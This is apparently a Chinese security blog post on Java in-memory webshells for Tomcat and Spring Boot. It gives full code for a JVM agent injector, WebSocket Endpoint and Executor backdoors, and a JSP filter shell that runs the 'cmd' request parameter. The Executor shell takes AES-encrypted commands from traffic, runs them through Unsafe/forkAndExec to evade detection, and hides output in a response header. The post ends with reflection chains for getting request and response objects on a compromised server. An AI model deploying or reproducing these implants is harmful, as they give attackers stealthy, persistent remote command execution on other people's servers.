java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package com.java.inject; import com.sun.tools.attach.*; import java.io.IOException;import java.util.List; public class Inject_Agent_Spring { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("com.example.java_agent_springboot.JavaAgentSpringBootApplication" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar" ); virtualMachine.detach(); } } } }
启动一个简单的Spring Boot项目
运行 Inject_Agent_Spring
类,在doFilter方法中注入恶意代码,成功执行
这是个基础实现demo,未解决留下Jar包问题与防检测,不建议直接使用。
实现在Native层 看了rebeyond师傅的文章 ,后
首先Native
层这部分常见一些本地服务和一些链接库等。这一层的一个特点就是通过C和C++语言实现。比如我们现在要执行一个复杂运算,如果通过java代码去实现,那么效率会非常低,此时可以选择通过C或C++代码去实现,然后和上层的Java代码通信(JNI机制)。
rebeyond师傅的整个分析过程非常的PWN,这里也是不在复述。
对上述实现的优化原文
第二篇是对第一篇的优化。
这里既然师傅打通了JAVA层到Native层,那么内存马实现只是其中一种,甚至可以直接把shellcode放进去,等等。
已实现在我自己的JYso 中。
Socket 内存马 WebSocket是一种全双工通信协议,即客户端可以向服务端发送请求,服务端也可以主动向客户端推送数据。这样的特点,使得它在一些实时性要求比较高的场景效果斐然(比如微信朋友圈实时通知、在线协同编辑等)。主流浏览器以及一些常见服务端通信框架(Tomcat、netty、undertow、webLogic等)都对WebSocket进行了技术支持。
Endpoint内存马(Tomcat 7.0.47+) 看了veo师傅的文章 之后写的马,已过测试。
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 public class Endpoint implements Filter { public Session session; static { try { String filterName = "nu1r" + System.nanoTime(); String urlPattern = "/nu1r" ; Class clazz = Thread.currentThread().getClass(); java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals" ); field.setAccessible(true ); Object obj = field.get(Thread.currentThread()); Object[] obj_arr = (Object[]) obj; for (int j = 0 ; j < obj_arr.length; j++) { Object o = obj_arr[j]; if (o == null ) continue ; if (o.getClass().getName().endsWith("WebContainerRequestState" )) { Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest" , new Class [0 ]).invoke(o, new Object [0 ]); Object servletContext = request.getClass().getMethod("getServletContext" , new Class [0 ]).invoke(request, new Object [0 ]); field = servletContext.getClass().getDeclaredField("context" ); field.setAccessible(true ); Object context = field.get(servletContext); field = context.getClass().getSuperclass().getDeclaredField("config" ); field.setAccessible(true ); Object webAppConfiguration = field.get(context); Method method = null ; Method[] methods = webAppConfiguration.getClass().getMethods(); for (int i = 0 ; i < methods.length; i++) { if (methods[i].getName().equals("getFilterMappings" )) { method = methods[i]; break ; } } List filerMappings = (List) method.invoke(webAppConfiguration, new Object [0 ]); boolean flag = false ; for (int i = 0 ; i < filerMappings.size(); i++) { Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig" , new Class [0 ]).invoke(filerMappings.get(i), new Object [0 ]); String name = (String) filterConfig.getClass().getMethod("getFilterName" , new Class [0 ]).invoke(filterConfig, new Object [0 ]); if (name.equals(filterName)) { flag = true ; break ; } } if (!flag) { Filter filter = new WSFMSFromThread (); Object filterConfig = context.getClass().getMethod("createFilterConfig" , new Class []{String.class}).invoke(context, new Object []{filterName}); filterConfig.getClass().getMethod("setFilter" , new Class []{Filter.class}).invoke(filterConfig, new Object []{filter}); method = null ; methods = webAppConfiguration.getClass().getMethods(); for (int i = 0 ; i < methods.length; i++) { if (methods[i].getName().equals("addFilterInfo" )) { method = methods[i]; break ; } } method.invoke(webAppConfiguration, new Object []{filterConfig}); field = filterConfig.getClass().getSuperclass().getDeclaredField("context" ); field.setAccessible(true ); Object original = field.get(filterConfig); field.set(filterConfig, null ); method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns" , new Class []{EnumSet.class, boolean .class, String[].class}); method.invoke(filterConfig, new Object []{EnumSet.of(DispatcherType.REQUEST), true , new String []{urlPattern}}); field.set(filterConfig, original); method = null ; methods = webAppConfiguration.getClass().getMethods(); for (int i = 0 ; i < methods.length; i++) { if (methods[i].getName().equals("getUriFilterMappings" )) { method = methods[i]; break ; } } List uriFilterMappingInfos = (List) method.invoke(webAppConfiguration, new Object [0 ]); uriFilterMappingInfos.add(0 , filerMappings.get(filerMappings.size() - 1 )); } break ; } } } catch (Exception e) { e.printStackTrace(); } } @Override public void init (FilterConfig filterConfig) throws ServletException { } @Override public void doFilter (ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { } @Override public void destroy () { } }
Executor内存马(Tomcat 8.5+) 实际上这也是WebSocket内存马,只是方法重写的点不一样。
根据深蓝师傅的研究成果
师傅在文中讲解已经很详细了,这里就不在复述,但是这个阶段的Executor内存马存在多次getRequest的问题,细想一下,这很不安全!因为服务器同时接受很多⽤户的请求,突然那天你发个恶意请求,有个普通⽤户莫名其妙收到/etc/passwd⽂件的内容,这有点尴尬了。
深蓝师傅对此的解决办法是,NioSocketWrapper
父类SocketWrapperBase
中,有一个方法名为unRead
,原文
我根据深蓝师傅的文章,所以有了以下代码
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 public class Executor extends Endpoint implements MessageHandler .Whole<String> { public static final String DEFAULT_SECRET_KEY = "nu1r" ; private static final String AES = "AES" ; private static final byte [] KEY_VI = "nu1r" .getBytes(); private static final String CIPHER_ALGORITHM = "AES/CBC/PKCS5Padding" ; private static java.util.Base64.Decoder base64Decoder = java.util.Base64.getDecoder(); static { String wsName = "/nu1r" ; WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); ServerEndpointConfig build = ServerEndpointConfig.Builder.create(TWSMSFromThread.class, wsName).build(); WsServerContainer attribute = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); try { attribute.addEndpoint(build); standardContext.getServletContext().setAttribute(wsName, wsName); } catch (DeploymentException e) { throw new RuntimeException (e); } } public Session session; public void onMessage (String message) { String cmd = getRequest(); if (cmd.length() > 1 ) { getResponse(execCmd(cmd).toByteArray()); } this .execute($1 , Long.parseLong("0" ), java.util.concurrent.TimeUnit.MILLISECONDS); } @Override public void onOpen (Session session, EndpointConfig config) { this .session = session; session.addMessageHandler(this ); } public static String decode (String key, String content) { try { javax.crypto.SecretKey secretKey = new javax .crypto.spec.SecretKeySpec(key.getBytes(), AES); javax.crypto.Cipher cipher = javax.crypto.Cipher.getInstance(CIPHER_ALGORITHM); cipher.init(javax.crypto.Cipher.DECRYPT_MODE, secretKey, new javax .crypto.spec.IvParameterSpec(KEY_VI)); byte [] byteContent = base64Decoder.decode(content); byte [] byteDecode = cipher.doFinal(byteContent); return new String (byteDecode, java.nio.charset.StandardCharsets.UTF_8); } catch (Exception e) { e.printStackTrace(); } return null ; } public static byte [] toCString(String s) { if (s == null ) return null ; byte [] bytes = s.getBytes(); byte [] result = new byte [bytes.length + 1 ]; System.arraycopy(bytes, 0 , result, 0 , bytes.length); result[result.length - 1 ] = (byte ) 0 ; return result; } public static java.lang.reflect.Method getMethodByClass (Class cs, String methodName, Class[] parameters) { java.lang.reflect.Method method = null ; while (cs != null ) { try { method = cs.getDeclaredMethod(methodName, parameters); method.setAccessible(true ); cs = null ; } catch (Exception e) { cs = cs.getSuperclass(); } } return method; } public static Object getMethodAndInvoke (Object obj, String methodName, Class[] parameterClass, Object[] parameters) { try { java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); if (method != null ) return method.invoke(obj, parameters); } catch (Exception ignored) { } return null ; } public static Object getFieldValue (Object obj, String fieldName) throws Exception { java.lang.reflect.Field f = null ; if (obj instanceof java.lang.reflect.Field) { f = (java.lang.reflect.Field) obj; } else { Class cs = obj.getClass(); while (cs != null ) { try { f = cs.getDeclaredField(fieldName); cs = null ; } catch (Exception e) { cs = cs.getSuperclass(); } } } f.setAccessible(true ); return f.get(obj); } public static java.io.ByteArrayOutputStream execCmd (String cmd) { try { if (cmd != null && !cmd.isEmpty()) { String[] cmds = null ; if (System.getProperty("os.name" ).toLowerCase().contains("win" )) { cmds = new String []{"cmd" , "/c" , cmd}; } else { cmds = new String []{"/bin/bash" , "-c" , cmd}; } java.lang.reflect.Field theUnsafeField = sun.misc.Unsafe.class.getDeclaredField("theUnsafe" ); theUnsafeField.setAccessible(true ); sun.misc.Unsafe unsafe = (sun.misc.Unsafe) theUnsafeField.get(null ); Class processClass = null ; try { processClass = Class.forName("java.lang.UNIXProcess" ); } catch (ClassNotFoundException e) { processClass = Class.forName("java.lang.ProcessImpl" ); } Object processObject = unsafe.allocateInstance(processClass); byte [][] args = new byte [cmds.length - 1 ][]; int size = args.length; for (int i = 0 ; i < args.length; i++) { args[i] = cmds[i + 1 ].getBytes(); size += args[i].length; } byte [] argBlock = new byte [size]; int i = 0 ; for (int i1 = 0 ; i1 < args.length; i1++) { System.arraycopy(args[i1], 0 , argBlock, i, args[i1].length); i += args[i1].length + 1 ; } int [] std_fds = new int []{-1 , -1 , -1 }; Object launchMechanismObject = getFieldValue(processObject, "launchMechanism" ); byte [] helperpathObject = (byte []) getFieldValue(processObject, "helperpath" ); int ordinal = java.lang.Integer.parseInt(getMethodAndInvoke(launchMechanismObject, "ordinal" , null , null ).toString()); getMethodAndInvoke(processObject, "forkAndExec" , new Class []{int .class, byte [].class, byte [].class, byte [].class, int .class, byte [].class, int .class, byte [].class, int [].class, boolean .class}, new Object []{Integer.valueOf(ordinal + 1 ), helperpathObject, toCString(cmds[0 ]), argBlock, Integer.valueOf(args.length), null , Integer.valueOf(1 ), null , std_fds, java.lang.Boolean.FALSE}); getMethodAndInvoke(processObject, "initStreams" , new Class []{int [].class}, new Object []{std_fds}); java.io.InputStream in = (java.io.InputStream) getMethodAndInvoke(processObject, "getInputStream" , null , null ); java.io.ByteArrayOutputStream baos = new java .io.ByteArrayOutputStream(); int a = 0 ; byte [] b = new byte [1024 ]; while ((a = in.read(b)) != -1 ) { baos.write(b, 0 , a); } return baos; } } catch (Exception ignored) { } return null ; } public String getRequest () { try { Thread[] threads = (Thread[]) ((Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads" )); for (Thread thread : threads) { if (thread != null ) { String threadName = thread.getName(); if (threadName.contains("Poller" )) { Object target = getFieldValue(thread, "target" ); if (target instanceof Runnable) { try { byte [] bytes = new byte [8192 ]; ByteBuffer buf = ByteBuffer.wrap(bytes); try { LinkedList linkedList = (LinkedList) getFieldValue(getFieldValue(getFieldValue(target, "selector" ), "kqueueWrapper" ), "updateList" ); for (Object obj : linkedList) { try { SelectionKey[] selectionKeys = (SelectionKey[]) getFieldValue(getFieldValue(obj, "channel" ), "keys" ); for (Object tmp : selectionKeys) { try { NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getFieldValue(tmp, "attachment" ); try { nioSocketWrapper.read(false , buf); String a = new String (buf.array(), "UTF-8" ); if (a.indexOf("nu1r" ) > -1 ) { System.out.println(a.indexOf("nu1r" )); System.out.println(a.indexOf("\r" , a.indexOf("nu1r" ))); String b = a.substring(a.indexOf("nu1r" ) + "nu1r" .length() + 2 , a.indexOf("\r" , a.indexOf("nu1r" ))); b = decode(DEFAULT_SECRET_KEY, b); buf.position(0 ); nioSocketWrapper.unRead(buf); System.out.println(b); System.out.println(new String (buf.array(), "UTF-8" )); return b; } else { buf.position(0 ); nioSocketWrapper.unRead(buf); continue ; } } catch (Exception e) { nioSocketWrapper.unRead(buf); } } catch (Exception e) { continue ; } } } catch (Exception e) { continue ; } } } catch (Exception var11) { System.out.println(var11); continue ; } } catch (Exception ignored) { } } } if (threadName.contains("exec" )) { return new String (); } else { continue ; } } } return new String (); } public void getResponse (byte [] res) { try { Thread[] threads = (Thread[]) ((Thread[]) getFieldValue(Thread.currentThread().getThreadGroup(), "threads" )); for (int i = 0 ; i < threads.length; i++) { Thread thread = threads[i]; if (thread != null ) { String threadName = thread.getName(); if (!threadName.contains("exec" ) && threadName.contains("Acceptor" )) { Object target = getFieldValue(thread, "target" ); if (target instanceof Runnable) { try { java.util.ArrayList objects = (java.util.ArrayList) getFieldValue(getFieldValue(getFieldValue(getFieldValue(target, "this$0" ), "handler" ), "global" ), "processors" ); for (int j = 0 ; j < objects.size(); j++) { org.apache.coyote.RequestInfo request = (org.apache.coyote.RequestInfo) objects.get(j); org.apache.coyote.Response response = (org.apache.coyote.Response) getFieldValue(getFieldValue(request, "req" ), "response" ); response.addHeader("Server-token" , base64Encode(res)); } } catch (Exception ignored) { } } } } } } catch (Exception ignored) { } } }
poller内存马(Tomcat 8.5-)
深蓝师傅研究成果的延伸,由kd师傅提出,解决了Tomcat8.5之前版本的socket内存马问题。
两者都存在一个问题:socket上的读缓存区需要回写,原因很简单,你需要读取请求并且分析请求中是否有Key来执行,即需要一个标识区别攻击者和正常用户。问题来了,读缓存区一旦读取,那么正常情况下是无法将数据放回去的,这就导致读缓冲区一旦read之后,如果是正常用户的请求,你此刻已经无法回写数据了,那么当HttpRequest做封装时,已经没有数据了,导致业务受到严重的影响。
幸好,tomcat8.5.0以后,在tomcat封装的socket支持unread的数据回写,
但是tomcat8.5.0之前版本就需要新的解决办法,Socket毒化(稳定)
每次请求都在缓存加上本次通信的socket(IP+端口),表明缓存的数据是由那个socket发起的,接着每当我们读readbuf的数据时,我们可以得到两个信息:第一,这个包存不存命令执行的口令,第二,这个包是哪个socket发出的。这样哪怕缓存的请求被用户发出,但是socket记录已经表明了谁发起的,此时自然匹配不到用户的socket。需要注意的是,毒化对象不可以是IP,因为如果遇到反向代理的情况,你毒化的可是整个nginx服务。至于什么时候需要删除毒化表中的数据,其实很简单,tomcat的监听是使用Selector做事件监听的,当有事件来时,Selector负责收集事件的类型,然后提交给业务处理,当业务处理时,程序会注销本次的事件,避免Selector反复提交相同事件。这里我们就不注销事件,让socket反复读数据,这样一旦客户端关闭,服务端sokcet在读的时候一定会报错抛出,在处理异常时,我们直接删除对应毒化表中的数据即可。
Nginx反向代理问题 通过图片可以看到,所有的事情都是建立在socket连接不中断的基础之上进行。但是在nginx反向代理中默认是采用端口轮询的形式进行通信,即第一次代理端口用22222,第二次就是22223…这样显然无法让socket毒化成功。所以,致命性很大。但是大部分nginx配置也都会加上keep-alive的支持。只能说有点看命的节奏。
实现逻辑 Poller内存马的逻辑还是比较简单,你只要继承tomcat本身的NioEndpoint.Poller,然后重写processKey方法即可,如果需要处理业务,就自己操作socket,如果放行业务,就直接把socket交给父类processKey实现即可。
内存马回显技术 所谓回显,其实就是获取命令执行的结果,这种技术常用于目标机器不出网,无法反弹shell的情况。对于Java的中间件来讲,其关键就是获取request和response对象。
回显示例 这里我们以上文提到的Tomcat Filter内存马为例,获取对应的回显,关键代码如下
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <%! public class Shell_Filter implements Filter { public void doFilter (ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { String cmd = request.getParameter("cmd" ); response.setContentType("text/html; charset=UTF-8" ); PrintWriter writer = response.getWriter(); if (cmd != null ) { try { InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); Scanner scanner = new Scanner (in).useDelimiter("\\A" ); String result = scanner.hasNext()?scanner.next():"" ; scanner.close(); writer.write(result); writer.flush(); writer.close(); } catch (IOException e) { e.printStackTrace(); } catch (NullPointerException n) { n.printStackTrace(); } } chain.doFilter(request, response); } } %>
上述方式我们是通过JSP文件来注入内存马的。由于JSP中内置了一些关键对象,所以我们能够很容易地获得Request和Response对象,并能通过他们来获取目标JVM的上下文Context。那如果我们要通过反序列化漏洞来注入内存马,又如何获取到目标JVM的request和response对象呢?
ThreadLocal Response回显 思路来自于 kingkk师傅
首先要注意的是,我们寻找的request对象应该是一个和当前线程ThreadLocal有关的对象,而不是一个全局变量。这样才能获取到当前线程的相关信息。最终我们能够在 org.apache.catalina.core.ApplicationFilterChain
类中找到这样两个变量 lastServicedRequest 和 lastServicedResponse 。并且这两个属性还是静态的,我们获取时无需实例化对象。
在我们熟悉的 ApplicationFilterChain#internalDoFilter
中,Tomcat会将request对象和response对象存储到这两个变量中
虽然此时的 ApplicationDispatcher.WRAP_SAME_OBJECT
为 false ,但是我们后续可以通过反射修改。
可以总结思路如下
反射修改 ApplicationDispatcher.WRAP_SAME_OBJECT 的值,通过 ThreadLocal#set 方法将request和response对象存储到变量中
初始化 lastServicedRequest 和 lastServicedResponse 两个变量,默认为null
通过 ThreadLocal#get 方法将 request 和 response 对象从 lastServicedRequest 和 lastServicedResponse 中取出
反射存储request和response java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher" ).getDeclaredField("WRAP_SAME_OBJECT" );Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest" );Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse" ); java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers" ); modifiersField.setAccessible(true ); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT_FIELD.setAccessible(true ); lastServicedRequestField.setAccessible(true ); lastServicedResponseField.setAccessible(true ); if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null )){ WRAP_SAME_OBJECT_FIELD.setBoolean(null ,true ); }
初始化变量 由于变量在Tomcat初始化运行的时候会被设置为null,因此我们还需要初始化lastServicedRequest和lastServicedResponse变量为ThreadLocal类
java 1 2 3 4 5 6 7 if (lastServicedRequestField.get(null )==null ){ lastServicedRequestField.set(null , new ThreadLocal <>()); } if (lastServicedResponseField.get(null )==null ){ lastServicedResponseField.set(null , new ThreadLocal <>()); }
获取request变量 java 1 2 3 4 5 6 if (lastServicedRequestField.get(null )!=null ){ ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null ); ServletRequest servletRequest = (ServletRequest) threadLocal.get(); System.out.println(servletRequest); System.out.println((HttpServletRequest) servletRequest == req); }
下面我们通过一个简单的demo看看效果,编写一个简单的Servlet
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 import org.apache.catalina.core.ApplicationFilterChain; import javax.servlet.ServletException;import javax.servlet.ServletRequest;import javax.servlet.annotation.WebServlet;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.Field;import java.lang.reflect.Modifier; @WebServlet("/echo") public class Tomcat_Echo extends HttpServlet { @Override protected void doGet (HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { Field WRAP_SAME_OBJECT_FIELD = Class.forName("org.apache.catalina.core.ApplicationDispatcher" ).getDeclaredField("WRAP_SAME_OBJECT" ); Field lastServicedRequestField = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest" ); Field lastServicedResponseField = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse" ); java.lang.reflect.Field modifiersField = Field.class.getDeclaredField("modifiers" ); modifiersField.setAccessible(true ); modifiersField.setInt(WRAP_SAME_OBJECT_FIELD, WRAP_SAME_OBJECT_FIELD.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedRequestField, lastServicedRequestField.getModifiers() & ~Modifier.FINAL); modifiersField.setInt(lastServicedResponseField, lastServicedResponseField.getModifiers() & ~Modifier.FINAL); WRAP_SAME_OBJECT_FIELD.setAccessible(true ); lastServicedRequestField.setAccessible(true ); lastServicedResponseField.setAccessible(true ); if (!WRAP_SAME_OBJECT_FIELD.getBoolean(null )){ WRAP_SAME_OBJECT_FIELD.setBoolean(null ,true ); } if (lastServicedRequestField.get(null )==null ){ lastServicedRequestField.set(null , new ThreadLocal <>()); } if (lastServicedResponseField.get(null )==null ){ lastServicedResponseField.set(null , new ThreadLocal <>()); } if (lastServicedRequestField.get(null )!=null ){ ThreadLocal threadLocal = (ThreadLocal) lastServicedRequestField.get(null ); ServletRequest servletRequest = (ServletRequest) threadLocal.get(); System.out.println(servletRequest); System.out.println((HttpServletRequest) servletRequest == req); } if (lastServicedResponseField.get(null )!=null ){ ThreadLocal threadLocal = (ThreadLocal) lastServicedResponseField.get(null ); ServletResponse servletResponse = (ServletResponse) threadLocal.get(); System.out.println(servletResponse); System.out.println((HttpServletResponse) servletResponse == resp); } } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } } }
局限性 如果漏洞在ApplicationFilterChain获取回显Response代码之前,那么就无法获取到Tomcat Response进行回显。如Shiro RememberMe反序列化漏洞,因为Shiro的RememberMe功能实际上就是一个自定义的Filter。我们知道在ApplicationFilterChain#internalDoFilter方法中,doFilter方法实际上是在我们获取response之前的。因此在Shiro漏洞环境下我们无法通过这种方式获得回显。
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private void internalDoFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if (pos < n) { ApplicationFilterConfig filterConfig = filters[pos++]; try { ... } else { filter.doFilter(request, response, this ); } ... try { if (ApplicationDispatcher.WRAP_SAME_OBJECT) { lastServicedRequest.set(request); lastServicedResponse.set(response); } ... } else { servlet.service(request, response); } } ... }
通过全局存储Response回显 思路来自于 Litch1师傅
Servlet容器是Java Web的核心,因此很多框架对于该容器都进行了一定程度的封装。不同框架、同一框架的不同版本的实现都有可能不同,因此我们很难找到一种通用的获取回显的方法。
比如我们上文通过ThreadLocal类来获取回显的方式就无法适用于Shiro框架下,那么我们能不能换一种思路,寻找Tomcat中全局存储的Request和Response呢?
但我们知道想要获取回显,request和response对象必须是属于当前线程的,因此通过全局存储获取回显的关键就在于找到当前代码运行的上下文和Tomcat运行上下文的联系。
寻找全局Response 首先我们先来寻找一下Tomcat中的一些全局Response。在 AbstractProcessor 类中,我们能够找到全局response。
调用栈分析 我们来分析一下Tomcat的调用栈
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 doGet:25 , Tomcat_Echo service:655 , HttpServlet (javax.servlet.http) service:764 , HttpServlet (javax.servlet.http) internalDoFilter:227 , ApplicationFilterChain (org.apache.catalina.core) doFilter:162 , ApplicationFilterChain (org.apache.catalina.core) ... service:357 , CoyoteAdapter (org.apache.catalina.connector) service:382 , Http11Processor (org.apache.coyote.http11) process:65 , AbstractProcessorLight (org.apache.coyote) process:895 , AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1722 , NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49 , SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191 , ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659 , ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61 , TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:745 , Thread (java.lang)
调用了 Http11Processor#service
方法
而 Http11Processor
继承了 AbstractProcessor
类,这里的response对象正是 AbstractProcessor
类中的属性,因此我们如果能获取到 Http11Processor 类,就能获取到response对象
那么下面我们就找一找那里能够获取到processor。在 AbstractProtocol 的内部类 ConnectionHandler#register 方法中,将processor的信息存储在了属性global中。
java 1 2 3 4 5 6 7 8 9 protected void register (Processor processor) { if (this .getProtocol().getDomain() != null ) { synchronized (this ) { try { ... RequestInfo rp = processor.getRequest().getRequestProcessor(); rp.setGlobalProcessor(this .global); ... }
该属性中存储了一个RequestInfo的List,其中在RequestInfo中我们也能获取Request
我们接着往下看,调用栈调用了内部类ConnectoinHandler的process()方法,该方法会调用registry方法将process存储在global中
至此我们的调用链如下:
1 2 3 4 5 AbstractProtocol$ConnectoinHandler#process() -->this .global -->RequestInfo -->Request -->Response
现在我们的工作就是获取AbstractProtocol类或者继承AbstractProtocol的类,继续看调用链。在CoyoteAdapter类中,存在一个connector属性
我们来看Connector类的定义,存在和AbstractProtocol相关的protocolHandler属性
此时我们看调用链,该属性的值为一个 Http11NioProtocol 对象,并且该类继承了AbstractProtocol类
此时我们的调用链变成如下:
1 2 3 4 5 6 7 Connector -->Http11NioProtocol -->AbstractProtocol$ConnectoinHandler#process() -->this .global -->RequestInfo -->Request -->Response
下面就是获取Connector了,Tomcat在启动时会通过StandardService创建Connector
StandardService#addConnector
如下,该方法会将Connector放入属性 connectors 中
java 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public void addConnector (Connector connector) { synchronized (connectorsLock) { connector.setService(this ); Connector results[] = new Connector [connectors.length + 1 ]; System.arraycopy(connectors, 0 , results, 0 , connectors.length); results[connectors.length] = connector; connectors = results; } try { if (getState().isAvailable()) { connector.start(); } } catch (LifecycleException e) { throw new IllegalArgumentException ( sm.getString("standardService.connector.startFailed" , connector), e); } support.firePropertyChange("connector" , null , connector); }
最终我们的调用链如下:
1 2 3 4 5 6 7 8 StandardService -->Connector -->Http11NioProtocol -->AbstractProtocol$ConnectoinHandler#process() -->this .globa -->RequestInfo -->Request -->Response
下面的工作就是获取StandardService对象了,在此之前我们先了解一下Tomcat的类加载机制。
Tomcat的类加载机制 众所周知,Tomcat使用的并不是传统的类加载机制,我们来看下面的例子
我们知道,Tomcat中的一个个Webapp就是一个个Web应用,如果WebAPP A依赖了common-collection 3.1,而WebApp B依赖了common-collection 3.2。这样在加载的时候由于全限定名相同,因此不能同时加载,所以必须对各个Webapp进行隔离,如果使用双亲委派机制,那么在加载一个类的时候会先去他的父加载器加载,这样就无法实现隔离。
Tomcat隔离的实现方式是每个WebApp用一个独有的ClassLoader实例来优先处理加载,并不会传递给父加载器。这个定制的ClassLoader就是 WebappClassLoader 。
那么我们又如何将原有的父加载器和 WebappClassLoader 联系起来呢?这里Tomcat使用的机制是线程上下文类加载器Thread ContextClassLoader。
Thread类中有 getContextClassLoader() 和 setContextClassLoader(ClassLoader cl) 方法用来获取和设置上下文类加载器。如果没有setContextClassLoader(ClassLoader cl)方法通过设置类加载器,那么线程将继承父线程的上下文类加载器,如果在应用程序的全局范围内都没有设置的话,那么这个上下文类加载器默认就是应用程序类加载器。对于Tomcat来说ContextClassLoader被设置为 WebAppClassLoader(在一些框架中可能是继承了public abstract WebappClassLoaderBase的其他Loader)。
因此WebappClassLoaderBase就是我们寻找的Thread和Tomcat 运行上下文的联系之一。
这里通过调试,我们能够看到这里的线程类加载器是继承了 WebAppClassLoader 的 ParallelWebAppClassLoader 。
其中我们同样能获取到 StandardService
构造Payload 按照上文对调用栈分析的思路,我们可以依次构造出如下Payload
获取StandardContext
1 2 org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
获取ApplicationContext
StandardContext中没有直接的方法获取context,因此我们需要通过反射获取
1 2 3 Field context = Class.forName("org.apache.catalina.core.StandardContext" ).getDeclaredField("context" );context.setAccessible(true ); org.apache.catalina.core.ApplicationContext ApplicationContext = (org.apache.catalina.core.ApplicationContext)context.get(standardContext);
获取StandardService
同样使用反射获取
1 2 3 4 Field standardServiceField = Class.forName("org.apache.catalina.core.StandardService" ).getDeclaredField("service" );standardServiceField.setAccessible(true ); StandardService standardService = (StandardService) standardServiceField.get(applicationContext);
获取Connector
